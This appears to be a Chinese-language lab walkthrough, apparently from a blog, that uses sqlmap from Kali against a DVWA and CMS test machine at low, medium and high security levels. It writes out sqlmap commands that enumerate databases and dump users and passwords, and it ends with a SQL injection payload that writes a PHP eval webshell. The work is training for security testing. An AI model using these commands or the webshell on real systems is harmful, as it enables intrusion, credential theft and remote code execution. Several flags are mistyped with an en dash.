使用sqlmap

2024-08-30 20:14:10

实验环境要求：

1、安装win7或win10的笔记本或PC电脑一台，硬盘100GB，内存8GB

2、安装VMware Workstation 14以上

总体目标：基于centos7搭建dvwa web服务靶机，使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。

任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞（low）

测试dvwa注入点，截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

列出所有数据库，截图

获取数据表，截图

获取数据，截图

获取所有管理用户，截图

获取用户密码，截图

任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞（medium）

测试dvwa注入点，截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察可以看出为POST表单

使用Burp劫获POST信息

将信息保存成文件

使用文件进行攻击

列出所有数据库，截图

获取数据表，截图

获取数据，截图

获取所有管理用户，截图

获取用户密码，截图

任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞（high）

测试dvwa注入点，截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察页面信息为POST表单

原始方法肯定不行，所以再试试刚才的方法

保持请求

试过后发现失败

查看源码后使用二阶SQL注入—second-order

列出所有数据库，截图

获取数据表，截图

获取数据，截图

获取所有管理用户，截图

获取用户密码，截图

拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞

测试cms注入点，截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1

列出所有数据库，截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs

获取数据表，截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables

获取数据，截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa

获取所有管理用户，截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users

获取用户密码，截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords

拓展任务二、通过sql注入漏洞获取sql-shell和os-shell

使用sqlmap查看当前用户是否为dba，截图

使用sqlmap获取sql-shell，截图

使用sqlmap获取os-shell，截图

直接使用命令是错误的

我们需要在靶机修改一些参数来实现

重启服务

通过sql注入漏洞上传一句话木马，截图

1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #

执行不了说明没有权限，修改dvwa文件权限

最新文章

热门文章